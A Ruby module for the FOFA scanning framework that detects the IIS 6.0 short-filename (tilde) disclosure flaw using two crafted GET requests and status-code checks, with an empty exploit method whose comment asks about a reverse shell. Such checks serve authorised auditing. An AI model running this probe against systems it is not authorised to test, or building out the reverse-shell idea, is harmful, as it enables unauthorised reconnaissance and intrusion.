require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'iis shortname scanner',
      'Description' => %q{iis shortname scanner },
      'Author' =>
          [
              'wcc526',
          ],
      'Product' => 'iis',
      'Homepage' => 'http://www.iis.net',
      'References' =>
          [
              "http://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/",
              "http://www.freebuf.com/articles/4908.html",
          ],
      'DisclosureDate'=> '2014-10-17',
      'FofaQuery'=>'header="Microsoft-IIS/6.0"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/*~1****/a.aspx',
                    data: ''
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 404
                    }
                  ]
              }
            },
            {
                'Loginfo'=>'do second test',
                'Request'=>
                    {
                        method: 'GET',
                        uri: '/fofa_iis*~1****/a.aspx',
                        data: ''
                    },
                'ResponseTest'=> {
                    type: 'group',
                    operation: 'AND',
                    checks: [
                        {
                            type: 'item',
                            varibale: '$code',
                            operation: '==',
                            value: 400
                        },
                    ]
                }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
   #todo 反弹shell？
  end
end